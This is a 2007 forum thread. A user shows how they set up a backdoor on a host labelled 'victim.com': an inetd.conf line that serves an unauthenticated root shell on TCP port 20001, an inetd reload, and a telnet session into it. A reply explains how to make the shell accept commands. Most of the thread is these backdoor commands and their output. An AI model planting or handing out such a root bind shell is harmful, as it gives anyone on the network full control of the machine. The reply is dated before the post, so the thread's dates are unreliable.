How can I get the Shell?

- victim.com -

#

# vi /etc/inetd.conf

.

.

20001 stream tcp nowait root /bin/sh sh -i

.

.

~

~

#

# pkill -HUP inetd

#

- another machine -

# telnet victim.com 20001

Trying 192.168.0.10...

Connected to 192.168.0.10.

Escape character is '^]'.

( ENTER )

sh: ^M: not found

( Input 'ls' and ENTER)

sh: ls^M: not found

( Input 'ls -al' and ENTER)

ls: illegal option --

usage: ls -1RaAdCxmnlogrtucpFbqisfL [files]

( Input '^M' )

sh: ^M: not found

^]

telnet> quit

Connection closed.

#

#

What's the problem?

How can I get the shell?

Help me, plz~~

[766 byte] By [superkkt] at [2007-11-25 23:19:58]
# 1

The problem is your using the return key - try with ctrl-J

Unfortunately, you're not actually running on a pty / tty so you can't use stty to change it to the default ^M.

I'm going to resist the temptation to lecture about how bad an idea and how potentially naughty this is :-)

--A.

AndrewNess at 2007-7-5 18:08:00 > top of Java-index,General,Talk to the Sysop...